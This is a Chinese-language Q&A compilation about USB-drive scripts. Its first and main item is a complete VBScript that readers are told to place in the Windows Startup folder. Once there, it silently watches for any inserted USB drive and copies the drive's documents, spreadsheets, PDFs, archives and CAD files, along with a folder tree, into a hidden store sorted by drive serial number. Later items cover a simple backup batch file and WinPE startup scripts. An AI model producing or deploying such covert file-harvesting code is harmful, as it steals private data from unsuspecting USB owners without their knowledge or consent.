① 如何使用VBS腳本編寫U盤插入自動復制文件至U盤
哈..
復制下面代碼後保存為filename.vbs,然後把它拖進「開始」菜單中「啟動」中，這樣它就自動運行了，只有有人這台計算機上用U盤，它的這些類型的資料就會考到F盤中。而且不同的U盤，會以它序列號文件夾存放
Public Upan(10),Upanname(10),UpanSerialNumber(10),ffff(50000),name,s,n,a,b,y
Do While 1=1
s=0
udisk
a=s
wscript.sleep 600
s=0
udisk
b=s
If a>b Then
' wscript.echo "A Udisk be missed"
Else
If a<b Then
createfolder("f:\Udata\")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG")
createtbat1
' createtbat2
TransferBAT("f:\ee.bat")
wscript.sleep 600
' TransferBAT("f:\aa.bat")
' wscript.sleep 600
delbattxt("f:\ee.bat")
wscript.sleep 600
' delbattxt("f:\aa.bat")
' wscript.sleep 600
n=0
Set fso =CreateObject ("scripting.filesystemobject")
ShowSubFolders FSO.GetFolder(Upan(s)&"\")
wscript.sleep 800
' wscript.echo (n)
'=============================================================================================
for y=1 to n
On Error Resume Next
' wscript.echo ffff(y)
wscript.sleep 100
files ffff(y)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files ffff(y)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files ffff(y)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files ffff(y)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files ffff(y)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files ffff(y)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
'___________________________________________________________________________________________
files upan(s)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files upan(s)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files upan(s)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files upan(s)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files upan(s)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files upan(s)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
err.clear
next
'=============================================================================================
'wscript.echo "A new Udisk be found"&" it's "&upan(s)&Upanname(s)&" "&UpanSerialNumber(s)
udiskfile
Else
End If
End If
Loop
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到U盤的盤符，名稱，序列號*
'//********************************************************************************//
Function udisk
Dim fso,MB,GB,i
MINSize=(1024^2)*10
MAXSize=(1024^3)*4
s=0
Set fso=CreateObject("scripting.filesystemobject")
Set disks=fso.Drives
For Each disk In disks
If disk.IsReady Then
If (disk.DriveType =1) or(disk.DriveType =2) And (MINSize<disk.totalsize<MAXSize) Then
s=s+1
Upan(s)=disk.path
Upanname(s)=disk.VolumeName
UpanSerialNumber(s)=disk.SerialNumber
Else
End If
Else
End If
Next
End Function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *檢測U盤中是否存在autorun.inf*
'//********************************************************************************//
Function udiskfile
Dim fso,a
Set fso=CreateObject("scripting.filesystemobject")
Set f = fso.GetFolder(Upan(s))
Set fc = f.Files
for each f1 in fc
if f1.name="autorun.inf" then
name=f1.name
wscript.echo "Udisk:"&Upan(s)&"have a file,it is like a virus,it's named "&name
exit for
else
end if
next
End Function
'//********************************************************************************//
' *在指定的地方建立文件夾*
'//********************************************************************************//
Function createfolder(path)
On Error Resume Next
Dim fso,a
Set fso=CreateObject ("scripting.filesystemobject")
Set a=fso.CreateFolder (path)
If err Then '如果出現錯誤則顯示錯誤描述和正在創建的文件夾名稱
'MsgBox ("錯誤提示： " &Err.Description&" "&"正在創建的文件夾是："&path)
Err.Clear '清除錯誤。
Else
End if
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *創建BAT1*
'//********************************************************************************//
function createtbat1
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.CreateTextFile ("f:\ee.bat")
set c=fso.opentextfile("f:\ee.bat")
b.WriteLine ("tree "&upan(s)&"\>"&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\tree.txt")
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *創建BAT2*
'//********************************************************************************//
'function createtbat2
'dim fso,a,b,c
'set fso=createobject ("scripting.filesystemobject")
'On Error Resume Next
'
'Set b=fso.CreateTextFile ("f:\aa.bat")
'set c=fso.opentextfile("f:\aa.bat")'
'
'b.WriteLine ("x "&Upan(s)&"\/e/c/h "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
'err.clear
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *調用BAT*
'//********************************************************************************//
Function TransferBAT(path)
Dim fso,a,b,c
Set wshshell=CreateObject("wscript.shell")
Set fso=CreateObject("scripting.filesystemobject")
cmd=wshshell.run(path,hide) '隱藏調用
End Function
'//////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *刪除BAT*
'//********************************************************************************//
function delbattxt(path)
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.DeleteFile (path)
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *CopyAllFiles*
'//********************************************************************************//
'function allfile
'Dim fso,a,b,c
'Set wshshell=CreateObject("wscript.shell")
'Set fso=CreateObject("scripting.filesystemobject")
'cmd=wshshell.run("x "&Upan(s)&"/e "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s),hide)
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *Copy制定類型Files*
'//********************************************************************************//
'files "j:\*.vbs","f:\u" ' 調用該函數時不能使用括弧，否則會錯
Function files(source,destination)
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile source,destination,True
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到制定文件夾下的所有子文件夾*
'//********************************************************************************//
'Set fso =CreateObject ("scripting.filesystemobject")
'ShowSubFolders FSO.GetFolder(Upan(s)&"\")
sub ShowSubFolders(Folder)
For Each Subfolder In Folder.SubFolders
ShowSubFolders Subfolder
n=n+1
ffff(n)=subfolder.path
'wscript.echo ffff(n)
Next
end sub
② 如何從電腦下載游戲中之後把腳本存到U盤裡面
把滑鼠放到圖標上，它會顯示在磁碟的位置，然後找到他所在的磁碟，把整個文件夾復制，然後復制到U盤上就好了。
③ 如何使用VBS腳本編寫U盤插入自動復制電腦指定文件至U盤
打開文本文檔，輸入：
COPY D:\data\*.* f:\ '假設你要復制D盤下的data文件夾到U盤上，U盤盤符是F然後保存文件，將該文件擴展名改為bat。
想要復制的時候，直接雙擊U盤上這個文件就行。這個代碼適合自己電腦經常需要備份某個文件，手動操作步驟繁瑣，利用這個代碼來自動完成數據備份。如果稍加改進這個代碼可能就會被安全軟體攔截。。。，工具本身沒有邪惡和正義之分，是正是邪還是看使用者的意圖。
④ 如何給U盤裝系統盤添加自定義腳本
在U盤裝系統盤下，我們要想讓系統執行特定的程序功能，就可以將自己的自定義腳本添加到U盤裝系統盤中。但是該怎麼將DIY腳本添加進去呢，正成了很多我們大傷頭腦的問題。
PE系統提供了三種方法啟動自定義腳本：Winpeshl.ini、Startnet.cmd 和 Unattend.xml。原生態U盤裝系統盤的默認界面是「命令提示符」窗口，但可以創建自定義的Winpeshl.ini文件，以便運行自己的外殼應用程序。也可以創建自己的 Startnet.cmd批處理文件來運行特定的命令集、批處理文件或腳本。Unattend.xml是WinPE 2.0的新應答文件格式，它取代了Winbom.ini和Winpeoem.sif。一、使用Startnet.cmd添加自定義腳本： 使用Startnet.cmd可以在U盤裝系統盤中添加自定義的命令行腳本。默認情況下，U盤裝系統盤包括Startnet.cmd腳本，此腳本位於U盤裝系統盤映像的 %SYSTEMROOT%System32 中。當前，主要用Startnet.cmd來啟動Wpeinit.exe。用於安裝即插即用 （PnP） 設備、處理 Unattend.xml 設置以及載入網路資源。編輯Startnet.cmd 以包括自定義命令。 注意：對於PnP和網路支持，請確保在自定義Startnet.cmd腳本中包含了對wpeinit的調用。二、使用Unattend.xml添加自定義腳本： 運行imagex /info d：oot.wim，查看U盤裝系統盤映像的信息。我們要注意這一行： Image Count： 2說明此U盤裝系統盤映像文件中其實包含了兩個映像。每個映像的詳細信息在後面有詳細的說明。這里要特別說明的是我們需要編輯的是第二個名稱為WDS的映像，因為WDS使用此映像來引導計算機。
三、使用Winpeshl.ini添加自定義腳本： 可以使用Winpeshl.ini的文件來啟動自定義的外殼應用程序。Winpeshl.exe將在啟動期間處理Winpeshl.ini中的設置。使用文本編輯器（如記事本）創建具有以下文件目錄結構的Winpeshl.ini文本文件。例如： ［LaunchApp］ AppPath = %SYSTEMDRIVE%myshell.exe［LaunchApps］ %SYSTEMDRIVE%mydirapplication1.exe， -option1 -option2application2.exe， -option1 -option2註：將AppPath項設置為外殼應用程序的路徑。此路徑可以是絕對路徑，也可以使用環境變數（相對路徑），例如%SYSTEMROOT%System32Myshell.exe。AppPath 項不支持命令行選項。將此文件保存到U盤裝系統盤映像的%SYSTEMROOT%System32下。